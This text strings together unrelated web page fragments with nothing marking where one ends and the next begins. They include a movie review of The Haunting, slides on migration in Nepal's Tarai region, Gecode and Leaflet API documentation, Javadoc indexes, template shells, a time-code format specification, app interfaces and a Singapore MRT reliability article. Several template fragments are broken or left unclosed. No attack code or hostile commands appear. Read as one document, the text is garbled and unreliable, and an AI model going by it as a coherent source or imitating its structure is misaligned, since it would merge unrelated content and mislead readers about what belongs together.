Prototyping Exploring Design Opportunities for Technology Supported Yoga Practices at Home (January 08, 2020) Electric Candle (January 06, 2020)
Sensing Exploring Design Opportunities for Technology Supported Yoga Practices at Home (January 08, 2020)
Smartphone Sensor Data Detecting Negative Emotions During Social Media Use On Smartphones (January 07, 2020)
Speed Dating Exploring Design Opportunities for Technology Supported Yoga Practices at Home (January 08, 2020)
User Study Exploring Design Opportunities for Technology Supported Yoga Practices at Home (January 08, 2020)


{% extends 'portal.html' %} {% block content %}
This will be integrated into animal bioassay forms in the future; currently a test-bed.


Tetrarch Vellior:
Please. Release me from this horrible nightmare which haunts me every night. Find Merkenis as soon as possible and get rid of her. She is hiding in the deepest place within the ruins of the School of Dark Arts.
If you do not know the way to the School of Dark Arts, ask Sentry Kayleen.


Watson Machine Learning Predictive Pulse Rate
Heart Beats
Seconds
Submit
Pulse Rate Prediction:
General BPM Rates Info
BPM < 50 - Bradycardia
50 < BPM < 90 - Normal HR
BPM > 90 - Tachycardia
This is an approximated bpm app.


_The_Haunting_ (PG-13) * (out of ****)
I never thought I'd see the day when Lili Taylor would carry a big-budget, big studio summer blockbuster wannabe. But here she is, the indie queen herself, playing the lead in $80-million-plus _The_Haunting_. One could be led to believe that Taylor's surprising involvement would indicate a popcorn film that manages to blend the best of the worlds of art and commerce. Alas, this all-flash, no-substance--and no _scare_--thriller is a textbook example of the soulless, money-burning Hollywood hype products she had so valiantly rebelled against throughout her entire career. Hope you enjoyed cashing that paycheck, Miss Taylor.
I suppose I could see why _The_Haunting_ attracted the attention of talent such as Taylor and co-stars Liam Neeson and Catherine Zeta-Jones. It's an adaptation of Shirley Jackson's novel _The_Haunting_of_Hill_House_, which had been memorably adapted to screen, also under the title _The_Haunting_, by Robert Wise in 1963. Also, the man at the helm is Jan DeBont, who made his directorial debut with one of the best and most exciting action thrillers of the decade, 1994's _Speed_.
However, _The_Haunting_ continues a disturbing trend that has been evidenced in DeBont's work since _Speed_: an emphasis on effects and pyrotechnics over story. He was able to get by with this approach on the utterly-brainless-but-fun _Twister_, but it did not serve him well on the misbegotten _Speed_2:_Cruise_Control_ and is certainly the case here. Granted, the storyline of _The_Haunting_ does play like a countdown to the inevitable grand effects sequences. Eleanor (Taylor), Theo (Zeta-Jones), and Luke (Owen Wilson) agree to stay in the large, isolated old New England mansion named Hill House for an insomnia study conducted by psychologist Dr. David Marrow (Neeson). Dr. Marrow, of course, has a hidden agenda--it is not insomnia but fear he is interested in, and the creaky, creepy Hill House provides the perfect venue. But he and his three test subjects--especially the frightened but fascinated Eleanor--get more than they bargained for when things do more than go bump in the night.
This is when the special effects kick in and the film should kick into gear. The physical effects of the living sets, the digital effects used for the various ghosts, and the sound effects that lends every bump its boom are of the highest technical order. But all the polish can't gloss over one cold, hard fact: none of what the effects bring to life is the slightest bit scary. The eye candy is especially enticing, but audiences are more likely to be in awe of their visual splendor than scream in fright. With no jolts nor a sense of a haunting atmosphere, the lapses in logic in rookie screenwriter David Self's hole-ridden script are made all the more clear.
As safe as this trip in a haunted house is, there was one moment during _The_Haunting_ where many the screening audience did jump in their seats (some even screamed). Did it have anything to do with one of those digital phantoms? No. The "living" set design? No.  Isn't it nice to know that these big Hollywood budgets are being used so effectively?
Michael Dequina<EMAIL_ADDRESS>|<EMAIL_ADDRESS>|<EMAIL_ADDRESS>|<EMAIL_ADDRESS>Mr. Brown's Movie Site: http://welcome.to/mrbrown CompuServe Hollywood Hotline: http://www.HollywoodHotline.com on ICQ: #25289934 | on AOL Instant Messenger: MrBrown23
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


--- layout: splash permalink: / header: overlay_color: "#5e616c" overlay_image: cta_label: " Learn More" cta_url: "/docs/quick-start-guide" caption: excerpt: "A simple yet powerful schema language for JSON" ---
JSON Blueprint patterns closely resemble matching JSON documents.
Video = {
id: String,
dimension: "2d" | "3d",
definition: "hd" | "sd",
(hasThumbnail: Boolean)?
}
Just a handful of constructs that can be combined in powerful ways.
Id = Int(min=0) | String
Resource = {
id: $Id,
(references: [$Id*]) |
(embedded: [$Resource*])
}
Strict by default, allowing you to explicitly opt-out when you need it.
ProbablyPerson = {
firstName: String | null,
lastName: String | null,
// any other properties
(String: Any)*
}
JSON Blueprint is heavily inspired by RELAX NG. If you ever find yourself in need of XML validator, check it out – it's awesome.


file_copy
clear
copied
{{translatedSentence}}
If you know English but not very well, this service help you to build English sentences.
Just enter English text in left input box, and see on translating to native language in right box.
Suggestions of English words will be appear below (select if need using [ctrl +arrow_downward], arrow_downward, arrow_upward and press space Bar).
Forgot some word? Type it on native language, variants of translating will be appear below, and you can select one of them.
Guess: if translating looks good then original text is also correct.


All Classes
-
All Classes Interface Summary Class Summary Class Description AllocateController This controller is responsible to handle request and responses related to allocate jobs in workplaceAllocateService This service handle the priorities and other requisites for jobs to workplace assignationAllocateServiceImplementation This service handle the priorities and other requisites for jobs to workplace assignationDatabaseController This controller is responsible to handle request and responses related to reset and repopulate database workplaces and jobsDefaultController This controller is responsible to handle request and responses related dashboard and jobsGiin21Application Job This entity represent a Job that will be executed in any workplace.JobController This controller is responsible to handle request and responses related to manage jobsJobDTO This DTO is related to entity JOBJobRepository This repository handle communication with database for entity JobJobService This service handle some queries from database and return JobDTO instead of Job entityJobServiceImplementation This service handle some queries from database and return JobDTO instead of Job entitySecurityConfiguration SimulateController This controller is responsible to handle request and responses related to simulate time executionSimulateService This service handle the simulation of timeSimulateServiceImplementation This service handle the simulation of timeSimulationDTO This DTO is not related to any model and contains the amount of time in seconds to simulate.User This entity represent a user of applicationUserController This controller is responsible to handle request and responses related to manage usersUserDTO This DTO is related to entity UserUserRepository This repository handle communication with database for entity UserUserService This service handle some queries from database and return JobDTO instead of User entityUserServiceImplementation This service handle some queries from database and return JobDTO instead of User entityWorkplace This entity represent a workplace that will execute jobsWorkplaceController This controller is responsible to handle request and responses related to manage workplacesWorkplaceDTO This DTO is related to entity WorkplaceWorkplaceRepository This repository handle communication with database for entity WorkplaceWorkplaceService This service handle some queries from database and return JobDTO instead of Workplace entityWorkplaceServiceImplementation This service handle some queries from database and return JobDTO instead of Workplace entity


Field questionnaire survey (September 2013 - March 2014)
Open-ended interviews (November 2013 - March 2014)
Climate data analysis using daily records from 1970-2012 from 10 stations
Research questions
To what extent is circular migration helping the Tarai farming households adapt to agricultural pressures?
To what extent is circular migration decision driven by environmental pressures?
Conceptualisation of key drivers influencing livelihoods
Conceptualisation of key drivers influencing livelihoods
Critical examination of environmental change and human mobility in relation to livelihood systems.
Differs from vulnerability based studies which look at how change will impact the functioning of the system.
Livelihood interface between pressures and decision rather than a direct causal environment-migration link.
This approach enables integration of global drivers of change.
2. Theoritical background and methodology
Migration-environment theories
Risk society and reflexive modernisation
Global mobilities and transnationalism
Migration-environment theories
The majority of those affected will seek to remain (Findlay 2011).
International migration is expensive and it’s generally the poorest who are left behind (Black et al. 2011; Castles 2002; de Haan 2000).
Cause and effect of migration are not straightforward (Boyle et al. 1998; Castles et al. 2013; Wood 2001).
Migration patterns are likely to follow existing patterns (Adamo 2009; Hugo 1996).
Most migration is internal and short-term (Hugo 1996, 2006; Massey et al. 2010)
Environmental impacts mostly result in short-distance moves (Massey et al. 2010).
Risk society and reflexive modernisation
The consequences of human progress and industrial development are a set of inevitable risks, which were never seen before (Beck 2009).
According to the theory of reflexive modernisation, large social changes are not simply a product of intentional preparation but rather a result of the inherent transformation from first to second (or reflexive) modernity (Beck 1999).
The risks of the past arose from events like famine, drought and illness which to a large extent have been solved and replaced by new “manufactured” risks (Mythen 2004).
Multiple risks must be addressed concurrently (Beck 1992; Beck & Lau 2005).
Global mobilities and transnationalism
Transnationalism: the social conceptualisation driven centrally by the increased connections between people and the eroding of the concept of nation-state boundaries.
A transnational community is based on specific mobility know-how, 'migration expertise'; the inhabitants of these places, so strongly marked by migration, have made it their essential activity (Bruneau 2010, p. 44).
Methodology
3. The Tarai context
Features of the Tarai belt
Introduction to the study sites-Damak and Dhangadhi municipalities
Study locations
Study sites
Dhangadhi, Far-west Nepal
Damak, East Nepal
Study sites
4. Evolving patterns of human mobility in the Tarai
Historical in-migration to the Tarai
Historical out-migration from the Tarai
Contemporary out-migration trends
Historical in-migration
In-migration to the Tarai after eradication of malaria in the 1960s.
State-led program to resettle victims of natural hazards, followed by many moving on their own.
Prior residence of non-indigenous households (n=201)
Source: Field Survey 2013-14
In-migrants from the Hills and Mountains
Everyone left the Hills and moved here. We did the same. (Respondent 221)
Flood swept our land [in the Hills]. We requested land [with the government]. We finally moved in 2023 BS [1966/77] after getting approval from the resettlement company. (Respondent 259)
In-migrants from the Hills and Mountains
The whole area was a forest, trees were everywhere. There was just one road here. My family were one of the first settlers to arrive. I was probably about seven or eight years old then. The trees were fell to make way for settlements. We cleared our own land. Life used to be difficult, we lived in fear from robbers and wild animals. (Person 14)
Circular migration to India
I work as brick maker here but also do seasonal work in the Himanchal [Pradesh] (a state in northern India) three months a year. Many Nepalis go to work there in fruit picking. ... The work is not for women. It is a difficult work because of the terrain. We have to carry heavy load using a doko (a basket made from bamboo shaped like a cone) on our back and walk on hilly terrain. (Person 12)
Our son ran away from home and went to work in India. He’s 12 now. He has been working at a restaurant in Gujrat. He sent me a mobile phone this year. (Respondent 223)
Migration to India declining
Source: UN 2015
Contemporary migration trends
I migrated in order to make money, of course! My brother was already there and helped me with the process and arranged the documents for me. I still had to pay NPR40,000 (USD400) to the agent to arrange my flight ticket. Most of my peers have migrated to Malaysia to work as security guards. The clear reason is lack of work here. Youth with [university] degree have also gone abroad because they could not find employment here. (Person 5)
Trends in work permits for top destination regions
Source: DoFE 2014
Contemporary destinations of migrant members (n=217)
Source: Field Survey 2013-14
Migrants' human capital
Formal education of migrants by destination region. Source: Field Survey 2013-14
Remittances by destination
Source: Field survey; GDP value from World Bank (2014)
Impacts on agriculture
When we ask for households to donate labour for river taming works, many just send women and children because there are no young men in the house. Some families who managed to earn remittances have moved to the cities. Only the uneducated and unemployed remain. (Person 8)
Our family has always worked here in agriculture and small businesses. But one of my son now is planning to apply for Korea. (Respondent 320)
5. Findings and discussion
Summary of key findings
Theoritical and conceptual implications
Stages of livelihood environment interactions in the Tarai
Summary of findings
Collectively, the Tarai migrants constitute the mass movement of people for labour that has become the necessity of the modern world. In this process, the farming households unwittingly become part of a transnational society.
Increased reliance on off-farm livelihoods impacting labour availability for agriculture as traditional agricultural practices such as labour sharing and in kind payment are being replaced by commercial practices.
Remaining household members continue to engage in agricultural practices, but livelihood changes are occuring.
Summary of findings
Reliance on transnational systems makes local livelihoods suceptible to global problems like environmental change, global financial cricis, and shifts in political sentiments.
These poor workers are not a part of a global cosmopolitan elite by any means, but they do form an increasingly important component of the transnational community.
Summary of findings
Migrants with high human capital (education) increasingly accessing new international destinations; similar findings by Findlay (2011), and Massey et al. (1993).
Existing inequalities are likely to be preserved as the poorest farmers still accessing regional destinations in India with lower remittance income.
From policy perspective, adaptation should focus on in-situ opportunities for households unable to access such mobilities to mitigate household risks.
Press key for references, acknowledgements and attributions
References 1/2
Adamo, SB 2009, 'Environmentally induced population displacements', IHDP Update.
Beck, U 1992, 'From Industrial Society to the Risk Society: Questions of Survival, Social Structure and Ecological Enlightenment', Theory, Culture and Society, vol. 9, no. 1, pp. 97-123.
Beck, U 1999, World Risk Society, Blackwell Publishers, Massachusetts.
Beck, U 2009, World at Risk, John Wiley & Sons.
Beck, U & Lau, C 2005, 'Second modernity as a research agenda: theoretical and empirical explorations in the 'meta-change' of modern society', Br J Sociol, vol. 56, no. 4, Dec, pp. 525-557.
Black, R, Kniveton, D & Schmidt-Verkerk, K 2011, 'Migration and climate change: towards and integrated assessment of sensitivity', Environment and Planning A, vol. 73, pp. 431-450.
Boyle, PJ, Halfacree, K & Robinson, V 1998, Exploring Contemporary Migration, Longman.
Bruneau, M 2010, 'Diasporas, transnational spaces and communities', in R Bauböck & T Faist (eds), Diaspora and Transnationalism : Concepts, Theories and Methods, Amsterdam University Press, Amsterdam, pp. 35-49.
Castles, S 2002, Environmental Change and Forced Migration: Making Sense of the Debate, New Issues in Refugee Research, Working Paper 70.
de Haan, A 2000, Migrants, livelihoods, and rights: The relevance of migration in development policies, Social Development Working Paper No.4.
DoFE 2014, Annual report for fiscal year 2070-071 आ ब. २०७०-०७१ को बार्षिक प्रतिवेदन, Department of Foreign Employment.
References 2/2
Findlay, AM 2011, 'Migrant destinations in an era of environmental change', Global Environmental Change, vol. 2011.
Hugo, G 1996, 'Environmental concerns and international migration', International Migration Review, vol. 30, pp. 105-131.
Massey, DS, Arango, J, Hugo, G, Kouaouci, A, Pellegrino, A & Taylor, JE 1993, 'Theories of International Migration: A Review and Appraisal', Population Council, vol. 19, no. 3, pp. 431-466.
Massey, DS, Axinn, WG & Ghimire, DJ 2010, 'Environmental change and out-migration: evidence from Nepal', Population and Environment, vol. 32, no. 2-3, 2010/12/01, pp. 109-136.
Mythen, G 2004, Ulrich Beck: a critical introduction to the risk society, Pluto Press.
UN 2015, 'International migration flows to and from selected countries: The 2015 revision', in UN (ed.) 2015 revision edn, http://www.un.org/en/development/desa/population/migration/data/empirical2/migrationflows.shtml
Wood, W 2001, 'Ecomigration: Linkages between environmental change and migration', in AR Zolberg & PM Benda (eds), Global migrants, global refugees: Problems and solutions, Berghahn Books, New York, pp. 42-61.
World Bank 2014, World Bank development indicators, URL: http://data.worldbank.org/indicator/NY.GDP.PCAP.CD/countries accessed 3-08-2014
Acknowledgements
Principal supervisor: Dr. Douglas Bardsley, co-supervisors: Dr. Dianne Rudd and the late Prof. Graeme Hugo
Field-work funding from Department of Geography, Environment & Population, The University of Adelaide
Field research assistants Shreekrishna Chaudhary and Sujan Ranjitkar
Local contact persons - Umesh Dhimal, Tejpal Dhimal, Laxmi Niraula and Kanchan Ojha
Special thanks to Damak Municipality, Dhangadhi Municipality, Mercycorps Nepal, ADF Nepal Pvt. Ltd., and Neeraj Dangol


WITNESS LIST Border Affairs - Special Committee April 12, 2000-10:00A interim charge #1 On: Boast, Thomas (First Union Securities, Inc.), New York, NY Dannenbaum, James (Greater Houston Partnership), Houston Henkin, Tamar (Hagler Bailly/Comptroller's Office), Arlington, VA Holmes, Ned (Port of Houston Authority), Houston Johnson, Tom (Associated General Contractors of Texas), Austin Registering, but not testifying: On: Finklea, David (Greater Houston Partnership), Houston


Several European countries use the following message data format:
Data format
0000000000111111111122222222223333333333444444444455555555556666666666777777777 7
0123456789012345678901234567890123456789012345678901234567890123456789012345678 9
1995-01-23 20:58:51 MEZ<PHONE_NUMBER>0219950123195849740+40000500 *
A B C D EF G H IJ K L M N O P Q R S T U V W XY Z<CR><LF>
A year
B month
C day
D hour
E : normally
A for DST to ST switch first hour
B for DST to ST switch second hour if not marked in H
F minute
G second
H timezone
I day of week
J week of year
K day of year
L month for next ST/DST changes
M day
N hour
O UTC year
P UTC month
Q UTC day
R UTC hour
S UTC minute
T modified julian day (MJD)
U DUT1
V direction and month if leap second
W signal delay (assumed/measured)
X sequence number for additional text line in Y
Y additional text
Z on time marker (* - assumed delay / # measured delay)
<CR>!<LF> ! is second change !
This format is an ITU-R Recommendation (ITU-R TF583.4) and is now available from the primary timing centres of the following countries: Austria, Belgium, Germany, Italy, The Netherlands, Poland, Portugal, Romania, Spain, Sweden, Switzerland, Turkey and United Kingdom. Some examples are:
For more detail, see http://www.ptb.de/english/org/4/43/433/disse.htm
For more detail, see http://www.npl.co.uk/npl/ctm/truetime.html
For more detail, see http://www.ien.it/tf/time/Pagina42.html
For more detail, see http://www.ofmet.admin.ch/de/labors/4/Zeitvert.html
For more detail, see http://www.sp.se/metrology/timefreq/eng/tandf.htm


{% extends "/documentation-base.html" %} {% block title %}CL-Terrace View Only Mode: {{project-name}} {% endblock title %} {% block body %}
This is the Cl-Terrace "view-only" mode index page. It contains links to all your templates, dictionaries, devel-dictionaries, and static files
Current Language: {% show-language %}
To change the language supply the name of a language as the HTTP GET parameter "language"
EG:
http://localhost:8282?language={% show-language %}
Automatically generated Template API documentation
{{template-directory}}
{% if templates or dictionaries or devel-dictionaries%}
There are no templates in your template directory
{% endif %}There are no dictionaries in your template directory
{% endif %}There are no devel-dictionaries in your template directory
{% endif %} {% else %}There is nothing in your template directory!
{% endif %}{{static-directory}}
{% if not static-files %} There is nothing in your static file directory! {% else %}


ESRI Satellite
leaflet tilelayer providers
GEE Forest 2010
Mapbox Satellite
Mapbox Light
Mapbox Dark
Mapbox Outdoors
Mapbox Streets
NightView
OpenStreetMap


Gecode::MiniModel::ArithNonLinIntExpr Class Reference
Non-linear arithmetic expressions over integer variables. More...
Public Types | |
| enum | ArithNonLinIntExprType { ANLE_ABS, ANLE_MIN, ANLE_MAX, ANLE_MULT, ANLE_DIV, ANLE_MOD, ANLE_SQR, ANLE_SQRT, ANLE_POW, ANLE_NROOT, ANLE_ELMNT, ANLE_ITE } |
The expression type. More... | |
Public Member Functions | |
| ArithNonLinIntExpr (ArithNonLinIntExprType t0, int n0) | |
| Constructor. | |
| ArithNonLinIntExpr (ArithNonLinIntExprType t0, int n0, int a0) | |
| Constructor. | |
| ArithNonLinIntExpr (ArithNonLinIntExprType t0, int n0, const BoolExpr &b0) | |
| Constructor. | |
| ~ArithNonLinIntExpr (void) | |
| Destructor. | |
| virtual IntVar | post (Home home, IntVar *ret, IntPropLevel ipl) const |
| Post expression. | |
| virtual void | post (Home home, IntRelType irt, int c, IntPropLevel ipl) const |
| Post expression to be in relation irt with c. | |
| virtual void | post (Home home, IntRelType irt, int c, BoolVar b, IntPropLevel ipl) const |
| Post reified expression to be in relation irt with c. | |
Public Attributes | |
| enum Gecode::MiniModel::ArithNonLinIntExpr::ArithNonLinIntExprType | t |
| The expression type. | |
| LinIntExpr * | a |
| Expressions. | |
| int | n |
| Size of variable array. | |
| int | aInt |
| Integer argument (used in nroot for example). | |
| BoolExpr | b |
| Boolean expression argument (used in ite for example). |
Detailed Description
Non-linear arithmetic expressions over integer variables.
Definition at line 43 of file int-arith.cpp.
Member Enumeration Documentation
The expression type.
- Enumerator:
Definition at line 46 of file int-arith.cpp.
Constructor & Destructor Documentation
| Gecode::MiniModel::ArithNonLinIntExpr::ArithNonLinIntExpr | ( | ArithNonLinIntExprType | t0, | |
| int | n0 | |||
| ) | [inline] |
Constructor.
Definition at line 69 of file int-arith.cpp.
| Gecode::MiniModel::ArithNonLinIntExpr::ArithNonLinIntExpr | ( | ArithNonLinIntExprType | t0, | |
| int | n0, | |||
| int | a0 | |||
| ) | [inline] |
Constructor.
Definition at line 72 of file int-arith.cpp.
| Gecode::MiniModel::ArithNonLinIntExpr::ArithNonLinIntExpr | ( | ArithNonLinIntExprType | t0, | |
| int | n0, | |||
| const BoolExpr & | b0 | |||
| ) | [inline] |
Constructor.
Definition at line 75 of file int-arith.cpp.
| Gecode::MiniModel::ArithNonLinIntExpr::~ArithNonLinIntExpr | ( | void | ) | [inline] |
Destructor.
Definition at line 78 of file int-arith.cpp.
Member Function Documentation
| virtual IntVar Gecode::MiniModel::ArithNonLinIntExpr::post | ( | Home | home, | |
| IntVar * | ret, | |||
| IntPropLevel | ipl | |||
| ) | const [inline, virtual] |
| virtual void Gecode::MiniModel::ArithNonLinIntExpr::post | ( | Home | home, | |
| IntRelType | irt, | |||
| int | c, | |||
| IntPropLevel | ipl | |||
| ) | const [inline, virtual] |
Post expression to be in relation irt with c.
Implements Gecode::NonLinIntExpr.
Definition at line 274 of file int-arith.cpp.
| virtual void Gecode::MiniModel::ArithNonLinIntExpr::post | ( | Home | home, | |
| IntRelType | irt, | |||
| int | c, | |||
| BoolVar | b, | |||
| IntPropLevel | ipl | |||
| ) | const [inline, virtual] |
Post reified expression to be in relation irt with c.
Implements Gecode::NonLinIntExpr.
Definition at line 286 of file int-arith.cpp.
Member Data Documentation
| enum Gecode::MiniModel::ArithNonLinIntExpr::ArithNonLinIntExprType Gecode::MiniModel::ArithNonLinIntExpr::t |
The expression type.
Expressions.
Definition at line 61 of file int-arith.cpp.
Size of variable array.
Definition at line 63 of file int-arith.cpp.
Integer argument (used in nroot for example).
Definition at line 65 of file int-arith.cpp.
Boolean expression argument (used in ite for example).
Definition at line 67 of file int-arith.cpp.
The documentation for this class was generated from the following file:
- gecode/minimodel/int-arith.cpp (Revision: 15124)


COMETS Analytics Tutorial
CAT Work Group
2018-10-22
Introduction
COMETS, the COnsortium of METabolomics Studies, has a major goal to produce jointly coordinated, multi-cohort, high-impact publications devoted to advancing the methods and scientific understanding of the human metabolome and its relationship to disease etiology and prognosis. Since its inception in 2014, COMETS has grown to include more than 50 cohorts worldwide.
COMETS Analytics serves as the infrastructure to facilitate and coordinate data analysis efforts. This tutorial gives an overview and detailed instructions on the use of COMETS Analytics in support of COMETS.
- Ella Temprosa
- Steve Moore
- Oana Zeleznik
- Laura Trijsburg
- Rachel Kelly
- Erikka Loftfield
- Kathleen McClain
- Kaitlyn Mazzilli
Overview
Each cycle of analyses consists of five steps described below to bundle multiple projects to minimize burden on cohort analytic resources.
This tutorial serves as a guide through this cycle. You can register for access to COMETS Analytics using the instructions in Chapter 3.1 Registration. For a quick walk-through the cycle, you can use the sample input file and follow the directions in Chapter 1 Get Started with the Sample File. Once you are ready to conduct your cohort-specific analyses, see the Chapter 2 Conduct Cohort Data Analyses. For more technical details, refer to the Chapter 3 Manual and FAQ for answers to commonly asked questions.


Hi there! Zoom in to your area of interest & pick a time slot from the dropdown here. Hit `Fetch Data` to see all the Edits in the area within your chosen timeframe!


Return
One way
Multi-city
map
From
SG
Add nearby airports
Click here to swap locations
To
Add nearby airports
Dates
Depart
Return
Sun, 06 Dec 2015
Mon, 07 Dec 2015
Cabin Class & Travellers
▼
1 adult,
Economy
Direct flights only
Add another flight
▼
1 adult,
Economy
Search flights


If this message remains, then the Dojo Toolkit has failed to load.
For faster loading, OCP uses the Dojo Toolkit from the AOL CDN. Make sure your browser
is configured to allow execution of JavaScript scripts from the
o.aolcdn.com server.
There was an error loading/parsing the OCP JavaScript scripts.
Assuming your browser is configured to execute JavaScript scripts from this server and
there are no bugs in OCP, this usually means your browser's JavaScript support is
incompatible with OCP.
While OCP is being designed with browser portability in mind, it only officially runs
on FireFox 3.0/3.5/3.6 because OCP is being developed on it. All other standards
compliant browsers may or may not work, but no version of IE works yet. In future OCP
versions, the major releases of Internet Explorer, Opera, Safari, and Google Chrome
will be explicitly supported.


--- layout: api title: "v2.1.3 JavaScript Library: L.Bounds" categories: api version: v2.1.3 permalink: /api/v2.1.3/l-bounds/ ---
Represents a rectangular area in pixel coordinates.
var p1 = L.point(10, 10),
p2 = L.point(40, 60),
bounds = L.bounds(p1, p2);
All Leaflet methods that accept Bounds objects also accept them in a simple Array form (unless noted otherwise), so the bounds example above can be passed like this:
otherBounds.intersects([[10, 10], [40, 60]]);
| Factory | Description |
|---|---|
L.bounds(
|
Creates a Bounds object from two coordinates (usually top-left and bottom-right corners). |
L.bounds(
|
Creates a Bounds object defined by the points it contains. |
| Property | Type | Description |
|---|---|---|
min |
Point |
The top left corner of the rectangle. |
max |
Point |
The bottom right corner of the rectangle. |
| Method | Returns | Description |
|---|---|---|
extend(
|
- | Extends the bounds to contain the given point. |
getCenter() |
Point |
Returns the center point of the bounds. |
contains(
|
Boolean |
Returns true if the rectangle contains the given one. |
contains(
|
Boolean |
Returns true if the rectangle contains the given point. |
intersects(
|
Boolean |
Returns true if the rectangle intersects the given bounds. |
isValid() |
Boolean |
Returns true if the bounds are properly initialized. |
getSize() |
Point |
Returns the size of the given bounds. |


Chapter 5. Unordered Associative Containers
Suppose that you've been asked to write the symbol table for a compiler. Whenever the code being compiled defines a new symbol, its name and its associated type information have to be stored in the symbol table. Whenever the code uses a name, the compiler has to find that name in the symbol table and dig out its properties. This is a typical job for an associative container: You have the value of a key, and you need to find the data associated with that key. With the current standard C++ library, you can do this with a map: typedef std::string name; struct type_data { type_id type; unsigned flags; }; std::map<name, type_data> sym_tab; But compiler writers are speed freaks, and doing an O(logn) lookup, as map does, in a symbol table drives them nuts.


Voted trailers feed integration
TVVotedTrailersFeedViewController
is a class responsible for fetching and displaying the voted trailers feed which contains trailers the user has previously rated. SDK provides a simple and convenient way for embedding the feed into your app’s UI.
Instantiate the view controller by calling the -[TVTrailerVoteFactory votedTrailersFeedViewControllerEmbeddedInParentViewController:parentView:]
method of the main factory class:
let votedTrailersFeedVC = TVTrailerVoteFactory.shared().votedTrailersFeedViewControllerEmbedded(
inParentViewController: self,
parentView: votedTrailersFeedContainerView
)
parentViewController
is a UIViewController
instance that will be used as a parent for the voted trailers feed view controller, parentView
is a UIView
that you wish to embed the feed content into. The voted trailers feed view controller will automatically set all neccessary constraints so you only need to layout your container view:
When using storyboards, you can simply create a UIView
wrapper, create an IBOutlet
for it and instantiate the voted trailers feed view controller in your viewDidLoad
method:
@IBOutlet weak var votedTrailersFeedContainerView: UIView!
override func viewDidLoad() {
super.viewDidLoad()
let votedTrailersFeedVC = TVTrailerVoteFactory.shared().votedTrailersFeedViewControllerEmbedded(
inParentViewController: self,
parentView: votedTrailersFeedContainerView
)
}
When instantiated, the voted trailers feed view controller will automatically fetch and display the feed. To force a feed reload, call the -[TVVotedTrailersFeedViewController reloadFeed]
method.
At the top of the feed there’s a header view that allows the user to filter previosly rated trailers by the type of vote (All
, Yes
, No
or Maybe
):
When a trailer cell is tapped, a fullscreen video player is presented automatically:


- calendar - Variable in class model.Log
-
The calendar.
- cancel() - Method in class views.etat.Borrow
-
Cancel.
- cancel() - Method in class views.etat.Find
-
Cancel.
- CANNOT_BORROW_ADVANCE - Static variable in class config.Error
-
The Constant CANNOT_BORROW_ADVANCE.
- CANNOT_BORROW_SO_LONG - Static variable in class config.Error
-
The Constant CANNOT_BORROW_SO_LONG.
- CANNOT_CREATE_PERSON - Static variable in class config.Error
-
The Constant CANNOT_CREATE_PERSON.
- CANNOT_USE_THIS_OPERATOR - Static variable in class config.Error
-
The Constant CANNOT_USE_THIS_OPERATOR.
- cause - Variable in class model.Health
-
The cause.
- checkExistence(String) - Method in class model.Equipment
-
- checkExistence(String) - Method in class model.InventoryElement
-
Check existence.
- checkExistence(String) - Method in class model.person.Borrower.Borrow
-
- checkFeature(List<Feature>) - Method in class model.Equipment
-
Check feature.
- checkSize(List<String>, List<String>, List<String>) - Static method in class model.Inventory
-
Check size.
- checkType(String) - Method in class model.Equipment
-
Check type.
- Command - Class in views
-
The Class Command.
- Command(String, List<String>, State, String, String) - Constructor for class views.Command
-
Instantiates a new command.
- concatenate(T[], T[]) - Static method in class lib.ArrayUtils
-
Concatenate.
- config - package config
-
- Config - Class in config
-
The Class Config.
- Config() - Constructor for class config.Config
-
Instantiates a new config.
- CONFIG - Static variable in class demonstrateur.MiniProject
-
The Constant CONFIG.
- configuration - Static variable in class config.Config
-
The configuration.
- controllers - package controllers
-
- CopyFile - Class in lib
-
The Class CopyFile.
- CopyFile() - Constructor for class lib.CopyFile
-
Instantiates a new copy file.
- copyFile(InputStream, String) - Static method in class lib.CopyFile
-
Copy file.
- createConfigFolder() - Method in class demonstrateur.MiniProject
-
Creates the config folder.
- createUser(String, String, String, String) - Method in class views.etat.Administrator
-
Creates the user.


Click
here
to go to the home page.
Converter App
Enter the number that you want to convert>
input:
Click to Convert to F
Click to Convert to C
Clear


MRT network improves in first three quarters
by CHRISTOPHER TAN, SENIOR CORRESPONDENTThe Republic's rail network continued to improve in the first nine months of 2019, with train-km between delays breaching the one million mark.
On the whole, in the first three quarters of this year, the MRT system clocked 1.08 million train-km between delays of more than five minutes. This is up from the 955,000 train-km seen in the first six months of 2019.
The latest 12-month moving average from the Land Transport Authority (LTA) showed the oldest line - which was extensively renewed in recent years - posting the best results.
The three-decade-old North South Line clocked more than 1.43 million train-km between delays, down slightly from 1.44 million train-km in the first six months.
The runner-up was the North East Line (NEL) with 1.38 million train-km between delays, down drastically from 4.14 million train-km in the first half.
The Straits Times understands that because the NEL is a shorter line, even a single incident affects its performance.
The East West Line was third with 1.05 million train-km covered between delays, up significantly from 693,000 train-km. Newer lines - Circle and Downtown - came in with 900,000 plus train-km between delays.
The Circle Line showed an improvement from 606,000 train-km at the six-month mark, while the Downtown Line slipped from 1.15 million train-km.
Three major delays occurred on the entire rail network in the first three quarters, compared with nine for the whole of last year.
The LRT network clocked 128,000 car-km between delays, a dip from 130,000 car-km seen in the first half.
Singapore University of Social Sciences transport economist Walter Theseira said that while the mean-kilometre before failure (MKBF) is an accepted measure of reliability, Singapore could look at more holistic measures.
"There are some internationally measured indicators of reliability beyond MKBF, such as delay-minutes. Those could be useful because they capture the human impact of disruptions and are scaled according to how many peoples journeys they affect and for how long," he said.
"In the local context, train crowding and having to wait for the next train are service quality issues that people feel strongly about."


 FoCo is a web app that helps you find the name, hex, rgb, and description of any color in the COLOURlovers database.
Name:
Hex:
RGB:
Description:
Sorry, there is no entry for that color.


-
{{event.name}}
{{evt.speaker.name}}
{{evt.speaker.description}}
{{evt.speaker.description}}
{{ evt.venue.description }}
{{evt.venue.address_1}}Each evening of Design:Big Week, we've organized 4 talks centered around one conversation. At the end of the 4 talks, we ask each of the speakers to participate in a panel to show the correlations between each of their goals and missions. Attendees will leave with a better understanding of how design, whether by practice, process or advocacy, can positively affect our communities and DFW as a whole.
Design and the design process can affect change and promote the organizations aligned with it. To further engage our audiences into an increased understanding and appreciation of our profession and process, each talk is structured along the lines of our profession’s “creative brief.”
